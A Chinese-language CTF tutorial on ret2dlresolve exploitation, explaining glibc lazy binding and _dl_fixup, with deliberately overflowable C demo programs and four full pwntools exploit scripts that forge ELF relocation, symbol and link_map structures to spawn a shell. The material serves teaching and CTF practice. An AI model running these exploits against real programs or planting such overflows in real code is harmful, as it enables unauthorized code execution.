浅谈基于_dl_runtime_resolve的利用

摆烂有一阵子了,忽然想起了前段时间dasctf3月赛的pwn1,就是无leak条件下的栈溢出。

然后就想着把ret2dl好好总结一下。

前置知识

最好了解一下linux系统下程序的动态链接过程,以及elf结构中与动态链接有关的结构。

可以参考一下ctf-wiki对ELF的介绍:https://ctf-wiki.org/executable/elf/structure/basic-info/

在linux中,程序会使用_dl_runtime_resolve对动态链接的函数进行重定位

在分析之前,我们再简单复习一遍lazy binding机制:

第一次调用库函数的时候,程序会先到他的plt表里,push了_dl_runtime_resolve的第二个参数reloc_offset,此时got表存的是他自己的plt表跳转过来的下一个语句,跳到公共的plt[0]处,push第一个参数link_map,最后调用_dl_runtime_resolve将重定向后的地址写到got表里。

1650545108838.png

_dl_runtime_resolve中有一个关键函数: _dl_fixup,它的原型如下:

DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)

他的两个参数其实都可以被加以利用。

(以下示例如非特殊说明,均是在ubuntu20.04下测试的)

x86

NO RELRO

这种情况出现的很少,这里就不详细介绍了。

在NO RELRO时,.dynamic段是可写的,把其中的DT_STRTAB劫持到一个已知地址,然后在已知地址上伪造好一个fake_strtab,将read的位置改成system,然后正常劫持_dl_runtime_resolve即可。

(详细过程在x64下写)

PARTIAL RELRO

利用reloc_arg

分析

下面我们来看一个例子:

#include<unistd.h>
#include<stdio.h>
void fun(){
	char buf[0x20];
	read(0, buf, 0x100);
}
int main(){
	fun();
	return 0;
}

使用以下指令编译:

gcc ret2dl.c -o ret2dl -m32 -fno-stack-protector -no-pie -z relro
1650781037825.png

只开启Partial RELRO和NX,洞也是非常简单的栈溢出,但是没有用于leak的函数。我们尝试用ret2dlresolve来pwn掉它。

1650544684766.png

以第一次调用raed为例,我们trace进去,发现在read的plt表里先是跳到了read的got表,而got表还未绑定到read上,存的就是read的plt跳转之后的那一句指令的地址,这个时候就会将一个0压栈(这就是之后调用_dl_runtime_resolve的第二个参数,reloc_offset),然后跳到plt[0]上,将link_map压栈,调用_dl_runtime_resolve

继续跟进,

1650781224696.png

看到它调用了_dl_fixup,部分源码如下

_dl_fixup(struct link_map *l,ElfW(Word) reloc_arg)
{
	const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
	const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
	assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);
	result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
	value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
	return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);	
}

首先通过第二个参数reloc_offset在.rel.plt上找到一个ELF32_Rel结构体,

typedef struct {
    Elf32_Addr    r_offset;
    Elf32_Word    r_info;
} Elf32_Rel;

其中,r_offset指向该函数的got表地址,(r_info>>8)是该函数对于.dynamic基地址的偏移

1650782070783.png
1650782298465.png

ELF32_Sym结构体的第一个元素就是对象函数的函数名字符串相对于ELF String Table的偏移

不难发现,这些结构都在bss段之前,所以伪造这些结构之前,先把栈迁移到bss段上就会好伪造很多了。

首先准备好需要用到的地址和gadgets

1650783891497.png

然后利用原本的栈溢出去读后面一部分的payload到bss段上,然后迁移上去(最好将这个地址抬高一部分,不然调用_dl_runtime_resolve会破坏掉bss段之前的内容)

1650784014065.png

然后就是伪造ELF32_Rel和ELF32_Sym这两个结构了,

1650784064607.png

要注意的是,fake_sym_addr到.dynsym的偏移一定要是0x10的整数倍,并且伪造的ELF32_Rel中的r_info得通过_dl_fixup中的检查,即将该偏移按位与上一个7(R_386_JMUP_SLOT)。

然后就能成功getshell了。

exp

from pwn import *
context(os='linux', arch='i386', log_level='debug')
elf = ELF('./ret2dl')
p = process('./ret2dl')

# gadgets
ppp_ret = 0x08049251 # pop esi ; pop edi ; pop ebp ; ret
pop_ebp = 0x08049253 # pop ebp ; ret
leave_ret = 0x08049105 # leave ; ret

# addr
read_plt = elf.plt['read']
read_got = elf.got['read']
rel_plt = 0x8048314
dynsym = 0x8048248
string_table = 0x8048298
bss_inf = 0x804c000 + 0x800
plt_0 = 0x8049030

pay = b'a'*0x2c + p32(read_plt) + p32(ppp_ret) + p32(0) + p32(bss_inf) + p32(0x100)
pay += p32(pop_ebp) + p32(bss_inf) + p32(leave_ret)
p.sendline(pay)

# gdb.attach(p)

fake_sym_addr = bss_inf + 0x38
fake_sym = p32(bss_inf+0x20-string_table) + p32(0) + p32(0) + p32(12)
r_info = (((fake_sym_addr-dynsym)//16)<<8)|7
fake_read_addr = bss_inf + 0x30
reloc_offset = fake_read_addr-rel_plt
fake_read = p32(read_got) + p32(r_info)

cmd_addr = bss_inf + 0x28
pay = b'aaaa' + p32(plt_0) + p32(reloc_offset) + p32(0) # _dl_runtime_resolve
pay += p32(cmd_addr) + p32(0)*3
pay += b'system\x00\x00' + b'/bin/sh\x00'
pay += fake_read + fake_sym
p.sendline(pay)

p.interactive()

x64

NO RELRO

hijack string table

ret2dl.c

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void init(){
	setbuf(stdin, 0);
	setbuf(stdout, 0);
	setbuf(stderr, 0);
}

void fun(){
	char buf[0x20];
	read(0, buf, 0x100);
}

int main(){
	init();
	fun();
	return 0;
}

编译命令

gcc ./ret2dl.c -o ret2dl -no-pie -fno-stack-protector -z norelro

分析

NO RELRO时,.dynamic段是可写的,其中记录了string table的地址,我们可以把他劫持到一个伪造的地方

1666683694868.png

这里直接劫持setbuf,简单调一下setbuf在.rel.plt的偏移

1666683844020.png

(当然也可以直接在ida里看,我只是觉得动调看方便一点)

1666684327826.png

记住这个reloc_arg0,后面触发劫持时就用plt[0],然后栈上准备一个0(不能调用setbuf@plt来劫持,因为在init中已经调用过了setbuf@pltsetbuf@got就已经指向libc中的setbuf地址了,并不会触发后续的_dl_fixup

由于x64是寄存器传参,所以总的来说比x86方便很多。(但是_dl_fixup的参数任然是通过栈来传参的,这一点暂不知道原因,估计是plt表设计上的方便问题吧)

exp

from pwn import *
context.log_level = 'debug'
p = process('./ret2dl')
elf = ELF('./ret2dl')

def g(arg=''):
	gdb.attach(p, arg)
	raw_input()

pop_rdi     = 0x0000000000401253 # pop rdi ; ret
pop_rsi_r15 = 0x0000000000401251 # pop rsi ; pop r15 ; ret
plt_0       = 0x401020

fake_strtab = b"\x00libc.so.6\x00stdin\x00read\x00stdout\x00stderr\x00system\x00"
strtab_addr = 0x403230
binsh       = 0x4033f0
fake_strtab_addr = binsh+0x10

pay = b'a'*0x28
pay += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(binsh) + p64(0)
pay += p64(elf.plt['read'])

pay += p64(pop_rsi_r15) + p64(strtab_addr) + p64(0) + p64(elf.plt['read'])

pay += p64(pop_rdi) + p64(binsh) + p64(plt_0) + p64(0)

p.sendline(pay)
p.sendline(b'/bin/sh\x00'.ljust(0x10, b'\x00')+fake_strtab)
p.sendline(p64(fake_strtab_addr))

p.interactive()

PARTIAL RELRO

利用reloc_arg

分析

还是使用x64-NO RELRO中的ret2dl.c,编译指令调整如下:

gcc ./ret2dl.c -o ret2dl -no-pie -fno-stack-protector

(修改reloc_arg的利用思路和x86下差不多,但是在_dl_fixup中存在诸多不稳定因素,通常会在ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;这一句报错,而想要不进入这个语句,需要让l->l_info[VERSYMIDX (DT_VERSYM)] == NULL,这就需要在libc上的linkmap中进行修改了,和本解法存在一定的矛盾,所以不建议在x64下打这个分支。)

这里就说一下和x86的差别吧。

首先是某些结构体发生的变化,Elf64_Sym变成了这样

1666701273990.png

一个还是占0x18字节,但值得注意的是,前面的symbol相对于strtab的偏移,和0x12那里,依然只占4bytes

变化比较大的是Elf64_Rela

1666701435695.png

它变成了0x18的大小,而且后续在_dl_fixup中利用reloc_arg索引他的方式变成了按结构体下标索引,所以伪造在bss上的fake_rel的地址必须对0x18对齐

此外,由于x64下_dl_runtime_resolve_xsave函数调用层数比较多,所以栈迁到bss上的地址还需要进一步抬高,保证稳定性。

exp

from pwn import *
context.log_level = 'debug'

p = process('./ret2dl')
elf = ELF('./ret2dl')

def g(arg=''):
	gdb.attach(p, arg)
	raw_input()

pop_rdi = 0x0000000000401253 # pop rdi ; ret
pop_rsi_r15 = 0x0000000000401251 # pop rsi ; pop r15 ; ret
ppp_ret = 0x000000000040124f # pop rbp ; pop r14 ; pop r15 ; ret
leave_ret = 0x00000000004011c0 # leave ; ret

rel_plt = 0x400590
plt_0 = 0x401020
bss_info = 0x404070 + 0x500 + 0x780

pay = b'a'*0x28
pay += p64(pop_rsi_r15) + p64(bss_info) + p64(0)
pay += p64(elf.plt['read'])

pay += p64(ppp_ret) + p64(bss_info) + p64(0)*2 + p64(leave_ret) # stack pivoting

p.sendline(pay)

fake_setbuf_rel_addr = bss_info + 0x28 + 0x18
fake_setbuf_sym_addr = fake_setbuf_rel_addr + 0x20
reloc_arg = (fake_setbuf_rel_addr - rel_plt)//24

symtab_addr = 0x4003d0
strtab_addr = 0x400490
fake_setbuf_sym = p32(bss_info+0x30-strtab_addr) + p32(0x12) + p64(0)*2

r_info = (((fake_setbuf_sym_addr-symtab_addr)//24)<<32) + 7
fake_setbuf_rel = p64(elf.got['setbuf']) + p64(r_info) + p64(0)*2

pay = b'/bin/sh\x00'
pay += p64(pop_rdi) + p64(bss_info)
pay += p64(plt_0) + p64(reloc_arg) + p64(0) + b'system\x00\x00' + p64(0)
pay += fake_setbuf_rel
pay += fake_setbuf_sym

p.sendline(pay)

p.interactive()

分析

由于利用reloc_arg的链子非常容易访问到非法地址,所以并不常用。

在可控范围非常大的时候(>=0x100),往往都会采用伪造link_map的手法来实现ret2dl的攻击。

再看**_dl_fixup**的源码:

DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
	   ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
	   struct link_map *l, ElfW(Word) reloc_arg)
{
    ......
    if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0){
        ......
    }
    else
    {
      	/* We already found the symbol.  The module (and therefore its load
	 	address) is also known.  */
      	value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
      	result = l;
    }
	/* And now perhaps the relocation addend.  */
  	value = elf_machine_plt_value (l, reloc, value);

  	if (sym != NULL
      	&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    	value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

  	/* Finally, fix up the plt itself.  */
  	if (__glibc_unlikely (GLRO(dl_bind_not)))
    	return value;

  	return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

这一次我们需要让__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) != 0,进入到else的分支下。

value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));

这里调用了SYMBOL_ADDRESS(map, ref, map_set)这个宏

typedef struct link_map *lookup_t;
#define LOOKUP_VALUE(map) map
#define LOOKUP_VALUE_ADDRESS(map, set) ((set) || (map) ? (map)->l_addr : 0)

/* Calculate the address of symbol REF using the base address from map MAP,
   if non-NULL.  Don't check for NULL map if MAP_SET is TRUE.  */
#define SYMBOL_ADDRESS(map, ref, map_set)				\
  ((ref) == NULL ? 0							\
   : (__glibc_unlikely ((ref)->st_shndx == SHN_ABS) ? 0			\
      : LOOKUP_VALUE_ADDRESS (map, map_set)) + (ref)->st_value)

可以看出,当sym->st_shndx != SHN_ABS时,最终绑定的value会等于l->addr + sym->st_value

所以当sym->st_value为某个libc上的地址,然后l->addr为那个地址距离system的偏移时,可以成功劫持绑定

这里给出一些相关结构体的定义:

  • Elf64_Dyn
typedef struct
{
  Elf64_Sxword	d_tag;			/* Dynamic entry type */
  union
    {
      Elf64_Xword d_val;		/* Integer value */
      Elf64_Addr d_ptr;			/* Address value */
    } d_un;
} Elf64_Dyn;
  • Elf64_Rela
typedef struct
{
  Elf64_Addr	r_offset;		/* Address */
  Elf64_Xword	r_info;			/* Relocation type and symbol index */
  Elf64_Sxword	r_addend;		/* Addend */
} Elf64_Rela;
  • Elf64_Sym
typedef struct
{
  Elf64_Word	st_name;		/* Symbol name (string tbl index) */
  unsigned char	st_info;		/* Symbol type and binding */
  unsigned char st_other;		/* Symbol visibility */
  Elf64_Section	st_shndx;		/* Section index */
  Elf64_Addr	st_value;		/* Symbol value */
  Elf64_Xword	st_size;		/* Symbol size */
} Elf64_Sym;
  • link_map
struct link_map
  {
    /* These first few members are part of the protocol with the debugger.
       This is the same format used in SVR4.  */

    ElfW(Addr) l_addr;		/* Difference between the address in the ELF
				   file and the addresses in memory.  */
    char *l_name;		/* Absolute file name object was found in.  */
    ElfW(Dyn) *l_ld;		/* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */
  };

(这里的link_map结构是我在源码link.h中找的,实际上后续还有一段,可以参考gdb中调出来的结果计算偏移)

pwndbg> p *(struct link_map *) 0x7ffff7ffe190
$1 = {
  l_addr = 0,
  l_name = 0x7ffff7ffe730 "",
  l_ld = 0x403e20,
  l_next = 0x7ffff7ffe740,
  l_prev = 0x0,
  l_real = 0x7ffff7ffe190,
  l_ns = 0,
  l_libname = 0x7ffff7ffe718,
  l_info = {0x0, 0x403e20, 0x403f00, 0x403ef0, 0x0, 0x403ea0, 0x403eb0, 0x403f30, 0x403f40, 0x403f50, 0x403ec0, 0x403ed0, 0x403e30, 0x403e40, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x403f10, 0x403ee0, 0x0, 0x403f20, 0x0, 0x403e50, 0x403e70, 0x403e60, 0x403e80, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x403f70, 0x403f60, 0x0 <repeats 13 times>, 0x403f80, 0x0 <repeats 25 times>, 0x403e90},
  l_phdr = 0x400040,
  l_entry = 4198512,
  l_phnum = 13,
  l_ldnum = 0,
  l_searchlist = {
    r_list = 0x7ffff7faf520,
    r_nlist = 3
  },
  l_symbolic_searchlist = {
    r_list = 0x7ffff7ffe710,
    r_nlist = 0
  },
  l_loader = 0x0,
  l_versions = 0x7ffff7faf540,
  l_nversions = 3,
  l_nbuckets = 3,
  l_gnu_bitmask_idxbits = 0,
  l_gnu_shift = 6,
  l_gnu_bitmask = 0x4003b0,
  {
    l_gnu_buckets = 0x4003b8,
    l_chain = 0x4003b8
  },
  {
    l_gnu_chain_zero = 0x4003b0,
    l_buckets = 0x4003b0
  },
  l_direct_opencount = 1,
  l_type = lt_executable,
  l_relocated = 1,
  l_init_called = 1,
  l_global = 1,
  l_reserved = 0,
  l_phdr_allocated = 0,
  l_soname_added = 0,
  l_faked = 0,
  l_need_tls_init = 0,
  l_auditing = 0,
  l_audit_any_plt = 0,
  l_removed = 0,
  l_contiguous = 0,
  l_symbolic_in_local_scope = 0,
  l_free_initfini = 0,
  l_nodelete_active = false,
  l_nodelete_pending = false,
  l_cet = 7,
  l_rpath_dirs = {
    dirs = 0xffffffffffffffff,
    malloced = 0
  },
  l_reloc_result = 0x0,
  l_versyms = 0x4004e8,
  l_origin = 0x0,
  l_map_start = 4194304,
  l_map_end = 4210800,
  l_text_end = 4199029,
  l_scope_mem = {0x7ffff7ffe450, 0x0, 0x0, 0x0},
  l_scope_max = 4,
  l_scope = 0x7ffff7ffe4f8,
  l_local_scope = {0x7ffff7ffe450, 0x0},
  l_file_id = {
    dev = 0,
    ino = 0
  },
  l_runpath_dirs = {
    dirs = 0xffffffffffffffff,
    malloced = 0
  },
  l_initfini = 0x7ffff7faf500,
  l_reldeps = 0x0,
  l_reldepsmax = 0,
  l_used = 1,
  l_feature_1 = 0,
  l_flags_1 = 0,
  l_flags = 0,
  l_idx = 0,
  l_mach = {
    plt = 0,
    gotplt = 0,
    tlsdesc_table = 0x0
  },
  l_lookup_cache = {
    sym = 0x400478,
    type_class = 2,
    value = 0x7ffff7faf000,
    ret = 0x7ffff7dc9548
  },
  l_tls_initimage = 0x0,
  l_tls_initimage_size = 0,
  l_tls_blocksize = 0,
  l_tls_align = 0,
  l_tls_firstbyte_offset = 0,
  l_tls_offset = 0,
  l_tls_modid = 0,
  l_tls_dtor_count = 0,
  l_relro_addr = 4210192,
  l_relro_size = 496,
  l_serial = 0
}

其中,l_info数组存的是动态链接用到的各种表的地址,比较重要的偏移我调了一下:

  • DT_STRTAB: 5 (link_map_addr + 0x40 + 0x28)

  • DT_SYMTAB: 6 (link_map_addr + 0x40 + 0x30)

  • DT_JMPREL: 23 (link_map_addr + 0x40 + 0xb8)

总结一下构造的条件大概如下:

  • 构造l_addr为libc上systemsetbuf的偏移
  • l_info[DT_SYMTAB]l_info[DT_JMPREL]分别指向自己伪造好的symtab.rel.plt对应的Elf64_Dyn结构体的位置,然后再分别让他们的d_ptr指向Elf64_SymElf64_Rela结构体附近(要注意算好偏移,推荐直接让reloc_arg为0,这样比较方便)
  • l_info[DT_STRTAB]为原来的string table的地址,否则在_dl_runtime_resolve_xsave中可能会访问到非法地址导致crash

在空间不是很足的时候(比如我这个demo,一次最多只能读0x100),可以考虑在link_map上进行空间复用,详细的构造方式可以参考我下面的exp。

exp

from pwn import *

context.log_level = 'debug'

p = process('./ret2dl')
elf = ELF('./ret2dl')
libc = elf.libc

def g(arg=''):
	gdb.attach(p, arg)
	raw_input()

pop_rdi = 0x0000000000401253 # pop rdi ; ret
pop_rsi_r15 = 0x0000000000401251 # pop rsi ; pop r15 ; ret

rel_plt = 0x400590
plt_0 = 0x401026
bss_info = 0x404070 + 0x500

pay = b'a'*0x28 + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(bss_info) + p64(0)
pay += p64(elf.plt['read'])
pay += p64(pop_rdi+1) + p64(pop_rdi) + p64(bss_info+0x8) # binsh addr
pay += p64(plt_0) + p64(bss_info) + p64(0) # hijack _dl_runtime_resolve_xsave -> system

l_addr = (libc.symbols['system']-libc.symbols['setbuf'])&0xffffffffffffffff

linkmap = p64(l_addr) # l_addr
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x30, b'\x00')
linkmap += p64((bss_info + 0x30 - l_addr)&0xffffffffffffffff) # fake Elf64_Rela
linkmap += p64(0x7) # ELF_MACHINE_JMP_SLOT
linkmap = linkmap.ljust(0x68, b'\x00')
linkmap += p64(0x400490) # DT_STRTAB
linkmap += p64(bss_info + 0x70) # DT_SYMTAB addr & fake (Elf64_Dyn*)(symtab->d_tag)
linkmap += p64(elf.got['setbuf']-0x8) # fake (Elf64_Dyn*)(symtab->d_ptr)
linkmap += p64(bss_info + 0x30) # fake (ELF64_Dyn*)(jmprel->d_ptr)
linkmap = linkmap.ljust(0xf8, b'\x00')
linkmap += p64(bss_info + 0x80 - 0x8) # DT_JMPREL

p.sendline(pay)
p.send(linkmap)

p.interactive()